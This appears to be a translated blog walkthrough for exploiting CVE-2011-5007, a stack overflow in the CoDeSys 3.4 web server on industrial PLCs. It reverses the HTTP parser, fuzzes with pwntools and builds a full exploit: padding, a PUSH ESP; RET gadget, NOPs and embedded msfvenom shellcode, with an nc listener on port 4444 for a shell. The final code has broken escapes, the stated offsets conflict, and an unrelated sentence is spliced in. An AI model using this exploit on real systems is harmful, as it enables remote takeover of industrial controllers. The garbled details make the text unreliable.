History view

Windows Exploiting

CoDeSys 3.4 CVE-2011-5007

theFaunia in the wild 2019. 3. 7. 08:15

Introduction


The vulnerability reads as follows:


Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080.


The final idea of ​​this article is to reproduce and detail the process by which the vulnerability can be detected and exploited,


To study the vulnerability we can choose two methodologies


Binary Diffing:


This paper is organized as follows. In this paper, we present a new methodology for analyzing the vulnerability of a software application.


At the time of writing this article, the author was not able to find a fixed version of the software, so the option of Binary Diffing was discarded.


Fuzzing:


This technique is based on obtaining the program processes and modifies randomly (dumb fuzzing) in order to corrupt the software parsers and generate a crash in the program. We will choose this methodology. 


Reverse engineering of Client-Server communication protocol


In order to do this, you need to create a client and that server is done correctly. Therefore we will open IDA Pro and perform reversing. Knowing in advance that we are dealing with a server we will first see strings if we find anything corresponding to the request by a client or "requested".



We have a request for a server named, and it is referred to a File. What could be a web server? Basically it is a request for a file. We proceed to reverse engineer putting a breakpoint right in the instruction.



Our client at the moment will be using a script for the pwntools library and sending junk data as a package. 


from pwn import *
context.log_level = 'debug'
p = remote("192.168.32.144",8080)
junk = "A"*200
p.send(junk)
p.recvall()

We run the script with the IDA Pro debugger running. We have the problem that never arrives at that instruction breakpoint set before and it may be because the sent one does not comply with what is required in the request therefore we will have to go further in the reverse engineering task to reconstruct the communication protocol between Client-Server. We must change the strategy and see if there is any string that complies with an invalid or bad HTTP request.



If we realize it is the string "Bad HTTP request". We also notice that it is referenced in the .text section 7 times in which it is an indicator that there are 7 comparisons in which it leads to an erroneous HTTP request. We put a breakpoint right at the beginning of the function where the string is and launch again the script that acts as a fake client. By debugging in the function we see how we have our stored buffer and enter a function where we will parse the request using functions like strtok(). We see strings as "HEAD", "GET", "POST" etc very common in HTTP method's to web servers. In the image we also see where it is stored in .data <buf> corresponding to our first buff sent from A's. This function is the key to understanding how we have to send a request to the server and understand the communication between client-server.



Before entering the strtok function, the pointer is sent to the stack where our A's buffer is sent from client.



We arrived at the first comparison with a JZ conditional jump. If it is zero it jumps to the string "Bad HTTP request" but, it does not jump. Therefore it ensures that data has been sent.

In the following comparison, the content of the buffer is accessed to the first character and it checks directly in the first byte if it is zero. If it is not zero, it jumps to the next check block of the request, if it is zero, it jumps to an erroneous HTTP request.



The next block compares the string with "GET"; if not, the strcmp function returns value of -1. As it is the case, it returns the negative value. With the block "POST" perform the same procedure as with "HEAD".

Now that we know the headers, let's try using HEAD plus a space. "The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response". We modify our client so that the first 4 bytes correspond to the string.


from pwn import *
context.log_level = 'debug'
p = remote("192.168.32.144",8080)
junk = "HEAD "+"A"*200
p.send(junk)
p.recvall()

Then we see the second strtok function that is configuring the communication protocol between client-server. Now the pointer points just at the beginning of the A`s therefore we have fulfilled the first condition by sending the HEAD.
It is important that when we send the HTTP this with a space in front. We also realize in the hexadecimal dump that our <buf> A's is always before of the HTTP string therefore if we send HEAD our payload should be next to this method, if not it enters the strcmp function and the pointer is a 0x0 will generate an exception.



Our payload would then be as follows junk = "HEAD /" + "A" *200 + " HTTP". The bar "/" I put it because in the HEAD method they are followed with that. An example: "HEAD / resources / 123 HTTP / 1.1". We can deduce that our payload is a resource or file. This file surely corresponds to the string we saw earlier with the format string corresponding to our buf.

We finish executing this function and end of the program and "File AAAA requested" appears ... This means that the request was sent correctly.

Even so we can outline the request with its corresponding headings as they correspond but it is not necessary. Now that we know how to communicate with the server, we proceed to the fuzzing process and see where the program crashes.


Fuzzing

For this we must send a payload large enough to know where crash. We send 300 A's and see what happens.



The program crash and the next step will be to reverse from the function that parser the headers of the HTTP request as a starting point.


Exploiting

We must reverse because it is necessary to know in which instruction the program stops executing due to the failure. After a while debugging instruction by instruction we arrived at the block where the push string appeared "File% s requests .." We entered the next function since it could be the vulnerable function.

And once we reach the end of the function we see that we have a buffer overflow with write control in the return value so we have control to return where we want, in this case it could be in our shellcode.




Now to know the exact value where return value is overwritten we send 216 * "A" and the rest in 4 bytes in alphanumeric characters.



Our exploitation scenario varies since we are debugging and we must move to the operating system where we will explode in a windows XP and attach the process with IDA Pro. We must attach through the reserved space of memory varies in the real environment that using a debugger, so first we must run the webserver.exe binary and then attach with IDA Pro to the process. In the same way we must open IDA Pro with the binary and put a breakpoint just two instructions before the RET instruction.



The exploitation strategy will be to find a gadget that does not have any protection in any .dll that contains the instructions push esp;ret. For this we must have installed the idasploiter plugin in IDA Pro.




If we send from padding 775 A's the following 4 bytes that we write, it will be the gadget to overwrite ret and the EIP instruction points to the memory address of the .dll. Once this is done, we write some NOPs and then the shellcode.



To generate the shellcode I will use msfvenom and encoder alphaupper because I have had many problems with generating another type of shellcode with other encoders due to the badchars. Using this encoder we have no badchars problem.



We create our final exploit by adding the shellcode and our payload by the following: padding+gadget+nops+shellcode


from pwn import * context.log_level = 'debug' p = remote("192.168.48.153",8080) buf = "" buf += "\xda\xc7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x43" buf += "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" buf += "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" buf += "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" buf += "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" buf += "\x49\x4b\x4c\x4a\x48\x4b\x32\x35\x50\x33\x30\x35\x50" buf += "\x45\x30\x4c\x49\x4b\x55\x46\x51\x39\x50\x32\x44\x4c" buf += "\x4b\x36\x30\x50\x30\x4c\x4b\x50\x52\x54\x4c\x4c\x4b" buf += "\x36\x32\x42\x34\x4c\x4b\x34\x32\x47\x58\x34\x4f\x38" buf += "\x37\x51\x5a\x37\x56\x56\x51\x4b\x4f\x4e\x4c\x37\x4c" buf += "\x33\x51\x43\x4c\x45\x52\x36\x4c\x37\x50\x59\x51\x58" buf += "\x4f\x34\x4d\x43\x31\x38\x47\x5a\x42\x4c\x32\x36\x32" buf += "\x31\x47\x4c\x4b\x31\x42\x44\x50\x4c\x4b\x50\x4a\x57" buf += "\x4c\x4c\x4b\x50\x4c\x42\x31\x52\x58\x4a\x43\x50\x48" buf += "\x43\x31\x58\x51\x46\x31\x4c\x4b\x36\x39\x47\x50\x55" buf += "\x51\x38\x53\x4c\x4b\x50\x49\x44\x58\x4a\x43\x56\x5a" buf += "\x47\x39\x4c\x4b\x36\x54\x4c\x4b\x33\x31\x38\x56\x56" buf += "\x51\x4b\x4f\x4e\x4c\x59\x51\x38\x4f\x34\x4d\x35\x51" buf += "\x48\x47\x56\x58\x4b\x50\x43\x45\x5a\x56\x45\x53\x53" buf += "\x4d\x4c\x38\x47\x4b\x33\x4d\x56\x44\x43\x45\x4b\x54" buf += "\x36\x38\x4c\x4b\x30\x58\x37\x54\x33\x31\x49\x43\x42" buf += "\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38\x35\x4c" buf += "\x35\x51\x49\x43\x4c\x4b\x44\x44\x4c\x4b\x35\x51\x38" buf += "\x50\x4c\x49\x50\x44\x46\x44\x57\x54\x31\x4b\x31\x4b" buf += "\x53\x51\x30\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50\x31" buf += "\x4f\x51\x4f\x50\x5a\x4c\x4b\x32\x32\x5a\x4b\x4c\x4d" buf += "\x31\x4d\x52\x48\x57\x43\x46\x52\x35\x50\x35\x50\x32" buf += "\x48\x52\x57\x32\x53\x36\x52\x51\x4f\x31\x44\x55\x38" buf += "\x50\x4c\x52\x57\x31\x36\x44\x47\x4b\x4f\x58\x55\x4f" buf += "\x48\x4a\x30\x35\x51\x45\x50\x43\x30\x57\x59\x4f\x34" buf += "\x31\x44\x36\x30\x55\x38\x46\x49\x4b\x30\x42\x4b\x55" buf += "\x50\x4b\x4f\x48\x55\x46\x30\x30\x50\x50\x50\x46\x30" buf += "\x57\x30\x50\x50\x57\x30\x56\x30\x35\x38\x5a\x4a\x44" buf += "\x4f\x59\x4f\x4b\x50\x4b\x4f\x58\x55\x4c\x57\x43\x5a" buf += "\x34\x45\x33\x58\x39\x50\x39\x38\x46\x50\x49\x35\x53" buf += "\x58\x34\x42\x43\x30\x44\x51\x51\x4c\x4b\x39\x4b\x56" buf += "\x53\x5a\x44\x50\x56\x36\x46\x37\x52\x48\x4a\x39\x49" buf += "\x35\x42\x54\x55\x31\x4b\x4f\x39\x45\x4c\x45\x59\x50" buf += "\x44\x34\x54\x4c\x4b\x4f\x30\x4e\x33\x38\x43\x45\x5a" buf += "\x4c\x55\x38\x5a\x50\x4f\x45\x4f\x52\x51\x46\x4b\x4f" buf += "\x48\x55\x45\x38\x43\x53\x32\x4d\x43\x54\x55\x50\x4c" buf += "\x49\x5a\x43\x51\x47\x46\x37\x50\x57\x46\x51\x4c\x36" buf += "\x32\x4a\x42\x32\x36\x39\x31\x46\x4d\x32\x4b\x4d\x42" buf += "\x46\x4f\x37\x57\x34\x31\x34\x47\x4c\x43\x31\x35\x51" buf += "\x4c\x4d\x47\x34\x51\x34\x44\x50\x59\x56\x45\x50\x31" buf += "\x54\x36\x34\x30\x50\x46\x36\x56\x36\x30\x56\x30\x46" buf += "\x36\x36\x50\x4e\x50\x56\x56\x36\x56\x33\x30\x56\x52" buf += "\x48\x32\x59\x38\x4c\x57\x4f\x4c\x46\x4b\x4f\x39\x45" buf += "\x4c\x49\x4b\x50\x30\x4e\x30\x56\x31\x56\x4b\x4f\x30" buf += "\x30\x43\x58\x34\x48\x4c\x47\x55\x4d\x35\x30\x4b\x4f" buf += "\x58\x55\x4f\x4b\x4c\x30\x4e\x55\x4e\x42\x50\x56\x52" buf += "\x48\x49\x36\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x38\x55" buf += "\x57\x4c\x35\x56\x43\x4c\x55\x5a\x4b\x30\x4b\x4b\x4b" buf += "\x50\x34\x35\x34\x45\x4f\x4b\x57\x37\x35\x43\x54\x32" buf += "\x52\x4f\x43\x5a\x55\x50\x51\x43\x4b\x4f\x39\x45\x41" buf += "\x41" payload = "A" * 775 + "\ x53 \ x2b \ xab \ x71" + "\ x90" * 16 + buf #gadget PUSH ESP; RET \ x53 \ x2b \ xab \ x71 ws2_32.dll pkt = ( "HEAD /" + payload + "HTTP / 1.1 \ r \ n" "Host: 192.168.48.153:8080\r\n" "User-Agent: Mozilla / 5.0 (WOW64; rv: 40.0) Gecko / 20100101 Firefox / 40.1 \ r \ n " " Keep-Alive: 115 \ r \ n " " Connection: keep-alive \ r \ ) p.send (pkt) p.recvall () p.close ()


We run the exploit and we see that the execution of the shellcode does not give any problem. 


We must also open a nc to listen for port 4444. PWNED!





Comments